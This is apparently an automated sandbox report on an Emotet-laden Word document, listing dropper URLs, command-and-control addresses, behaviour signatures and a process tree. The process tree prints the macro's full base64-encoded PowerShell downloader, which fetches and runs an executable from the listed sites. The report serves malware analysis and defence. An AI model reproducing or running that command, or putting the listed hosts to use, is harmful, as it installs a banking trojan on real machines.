Overview

overview

10

Static

static

8

FILE_TOO49154.doc

windows7_x64

10

FILE_TOO49154.doc

windows10_x64

10

Analysis

  • max time kernel
    61s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    04/09/2020, 01:52

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    FILE_TOO49154.doc
  • Size 237KB
  • Sample200904-chfv6br2an
  • SHA256 41b51c9c72e134b6a5183ee31357d58d19e875c56db068adc0b5f8a3d12bdc3e
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://sitecgps.com/assets/hj8/
  • exe.dropper

    http://andrescardozo.com/programas/k/
  • exe.dropper

    http://banie.net/mariola/MW/
  • exe.dropper

    https://www.martinsassessoriadigital.com/medias/1/
  • exe.dropper

    http://associacaomda.org/erros/R4t/
  • exe.dropper

    http://paramythou.gr/wp-includes/2/
  • exe.dropper

    https://vedox.com/wp-includes/z/

Extracted

Family

  • emotet

C2

  • 185.215.227.107:443

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 172.104.169.32:8080

  • 68.183.190.199:8080

  • 187.162.248.237:80

  • 82.76.111.249:443

  • 184.66.18.83:80

  • 190.6.193.152:8080

  • 77.238.212.227:80

  • 199.203.62.165:80

  • 188.2.217.94:80

  • 185.94.252.12:80

  • 178.250.54.208:8080

  • 206.15.68.237:443

  • 65.36.62.20:80

  • 216.47.196.104:80

  • 219.92.8.17:8080

  • 213.60.96.117:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\FILE_TOO49154.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1496
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABEAHMAcgBwAHcAaQB4AD0AKAAoACcATwBwACcAKwAnAGoAdAAnACkAKwAnAHMAcQAnACsAJwB5ACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBzAGUAcgBQAHIATwBmAEkAbABlAFwAVQAzAFMARgA4AFoARwBcAFQAeQA5AEwAZQBiADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAHQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAEMAdQBgAFIAaQBUAHkAUABSAE8AYABUAG8AYwBvAGwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAnACsAJwAxADIALAAgACcAKQArACgAJwB0ACcAKwAnAGwAcwAxACcAKQArACcAMQAnACsAKAAnACwAIAB0AGwAJwArACcAcwAnACkAKQA7ACQAUgB6AHAAOAB2ADcANwAgAD0AIAAoACgAJwBJAGgAJwArACcAbAAxAGoAJwApACsAJwAwACcAKQA7ACQASAB3AF8AcwB5AHQAOAA9ACgAKAAnAFIAJwArACcANwBiACcAKQArACgAJwAyAGMAbwAnACsAJwBxACcAKQApADsAJABaADQAdgBpAGwAcgBoAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnADkAJwArACgAJwB2AGoAJwArACcAVQAnACkAKwAoACcAMwBzAGYAJwArACcAOAB6ACcAKQArACgAJwBnADkAJwArACcAdgBqAFQAeQA5ACcAKwAnAGwAZQBiACcAKQArACcANAAnACsAKAAnADkAJwArACcAdgBqACcAKQApAC4AIgByAGAAZQBwAGAAbABhAEMAZQAiACgAKAAnADkAdgAnACsAJwBqACcAKQAsAFsAUwB0AFIASQBuAEcAXQBbAGMASABBAFIAXQA5ADIAKQApACsAJABSAHoAcAA4AHYANwA3ACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQATwBmADYAdgByAHAAeAA9ACgAJwBIAGEAJwArACgAJwB6AF8AOQAyACcAKwAnAGMAJwApACkAOwAkAEQAaQBtAHEAaABnAHIAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBlAGIAQwBsAGkARQBOAHQAOwAkAEQAMwB3ADkAaAA4AG0APQAoACcAaAB0ACcAKwAnAHQAcAAnACsAKAAnADoALwAvACcAKwAnAHMAaQAnACsAJwB0ACcAKQArACgAJwBlAGMAZwBwACcAKwAnAHMALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAJwAvAGEAJwArACcAcwBzACcAKwAnAGUAdAAnACsAKAAnAHMALwBoAGoAOAAnACsAJwAvACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAJwBhACcAKwAnAG4AJwArACgAJwBkAHIAJwArACcAZQAnACkAKwAnAHMAJwArACcAYwAnACsAJwBhAHIAJwArACcAZAAnACsAKAAnAG8AegAnACsAJwBvACcAKQArACcALgBjACcAKwAnAG8AJwArACcAbQAnACsAKAAnAC8AJwArACcAcAByACcAKQArACgAJwBvACcAKwAnAGcAcgAnACkAKwAoACcAYQAnACsAJwBtAGEAcwAnACkAKwAoACcALwAnACsAJwBrAC8AJwApACsAJwAqAGgAJwArACgAJwB0ACcAKwAnAHQAcAA6ACcAKwAnAC8ALwAnACkAKwAoACcAYgBhAG4AaQBlACcAKwAnAC4AbgAnACkAKwAnAGUAdAAnACsAKAAnAC8AbQAnACsAJwBhAHIAJwArACcAaQBvAGwAJwApACsAKAAnAGEALwAnACsAJwBNACcAKQArACgAJwBXACcAKwAnAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAcABzADoAJwArACcALwAvAHcAdwB3AC4AJwApACsAKAAnAG0AJwArACcAYQByACcAKQArACcAdABpACcAKwAoACcAbgBzAGEAcwBzAGUAJwArACcAcwBzAG8AJwArACcAcgAnACsAJwBpACcAKQArACcAYQAnACsAKAAnAGQAaQAnACsAJwBnAGkAdAAnACsAJwBhAGwAJwApACsAKAAnAC4AYwBvAG0AJwArACcALwAnACkAKwAoACcAbQBlAGQAaQAnACsAJwBhAHMALwAnACsAJwAxAC8AJwArACcAKgBoACcAKwAnAHQAdABwADoALwAnACkAKwAoACcALwAnACsAJwBhAHMAJwArACcAcwBvAGMAaQAnACkAKwAnAGEAJwArACcAYwBhACcAKwAoACcAbwBtAGQAJwArACcAYQAuACcAKQArACgAJwBvACcAKwAnAHIAZwAvAGUAJwApACsAKAAnAHIAJwArACcAcgBvACcAKQArACgAJwBzAC8AJwArACcAUgA0ACcAKQArACgAJwB0AC8AKgAnACsAJwBoAHQAdABwADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwBwAGEAcgBhACcAKQArACcAbQAnACsAJwB5ACcAKwAnAHQAJwArACcAaABvACcAKwAoACcAdQAuAGcAcgAnACsAJwAvAHcAJwApACsAKAAnAHAALQBpAG4AJwArACcAYwAnACkAKwAoACcAbAAnACsAJwB1AGQAZQBzAC8AJwArACcAMgAvACcAKwAnACoAJwApACsAKAAnAGgAJwArACcAdAB0AHAAJwApACsAKAAnAHMAOgAvACcAKwAnAC8AJwApACsAJwB2ACcAKwAoACcAZQBkACcAKwAnAG8AeAAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwAnACsAJwB3AHAAJwApACsAJwAtAGkAJwArACcAbgAnACsAJwBjACcAKwAnAGwAdQAnACsAKAAnAGQAZQAnACsAJwBzAC8AegAvACcAKQApAC4AIgBzAFAAbABgAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEYAdgBoADQAdwAyAF8APQAoACcAUgAnACsAJwBuACcAKwAoACcAdwB4AHEAegAnACsAJwB2ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARABoAGcAYwBzADMAZAAgAGkAbgAgACQARAAzAHcAOQBoADgAbQApAHsAdAByAHkAewAkAEQAaQBtAHEAaABnAHIALgAiAGQATwBgAHcAbgBgAEwAYABvAGEAZABmAGkATABFACIAKAAkAEQAaABnAGMAcwAzAGQALAAgACQAWgA0AHYAaQBsAHIAaAApADsAJABXADUAMgB2AHAAbgBxAD0AKAAoACcAWgA4ACcAKwAnAGgAJwApACsAKAAnAHgAJwArACcANQA5AGYAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQAWgA0AHYAaQBsAHIAaAApAC4AIgBsAGAAZQBOAGcAVABIACIAIAAtAGcAZQAgADMAOAA1ADcANgApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtACcAKwAnAEkAdABlAG0AJwApACgAJABaADQAdgBpAGwAcgBoACkAOwAkAFkAdQBzAGgAeAAzADQAPQAoACcAUwAnACsAKAAnADkAZQAnACsAJwA1ACcAKQArACgAJwBfAHgAJwArACcAdwAnACkAKQA7AGIAcgBlAGEAawA7ACQAVgBlAGUAXwByAHoANQA9ACgAJwBKACcAKwAoACcANQAxAHUAJwArACcAbQBrADIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIANQB0AGUAYwB4AGgAPQAoACcAWQBwACcAKwAoACcAegAnACsAJwBxAG0AJwApACsAJwBhAGEAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1952
    • C:\Users\Admin\U3sf8zg\Ty9leb4\Ihl1j0.exe
      "C:\Users\Admin\U3sf8zg\Ty9leb4\Ihl1j0.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:844
      • C:\Windows\SysWOW64\samlib\MMDevAPI.exe
        "C:\Windows\SysWOW64\samlib\MMDevAPI.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:580

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/108-22-0x000007FEF7E20000-0x000007FEF809A000-memory.dmp
        Download

        memory/580-21-0x00000000003D0000-0x00000000003DC000-memory.dmp
        Download

        memory/580-20-0x00000000003C0000-0x00000000003CD000-memory.dmp
        Download

        memory/844-16-0x0000000001BE0000-0x0000000001BED000-memory.dmp
        Download

        memory/844-17-0x0000000001DC0000-0x0000000001DCC000-memory.dmp
        Download

        memory/1496-4-0x000000000AD30000-0x000000000AD34000-memory.dmp
        Download

        memory/1496-2-0x00000000088E0000-0x00000000088E4000-memory.dmp
        Download

        memory/1952-8-0x000000001AC50000-0x000000001AC51000-memory.dmp
        Download

        memory/1952-12-0x000000001C390000-0x000000001C391000-memory.dmp
        Download

        memory/1952-11-0x000000001B5C0000-0x000000001B5C1000-memory.dmp
        Download

        memory/1952-10-0x00000000022F0000-0x00000000022F1000-memory.dmp
        Download

        memory/1952-9-0x0000000002600000-0x0000000002601000-memory.dmp
        Download

        memory/1952-7-0x00000000025C0000-0x00000000025C1000-memory.dmp
        Download

        memory/1952-6-0x000007FEF1B00000-0x000007FEF24EC000-memory.dmp
        Download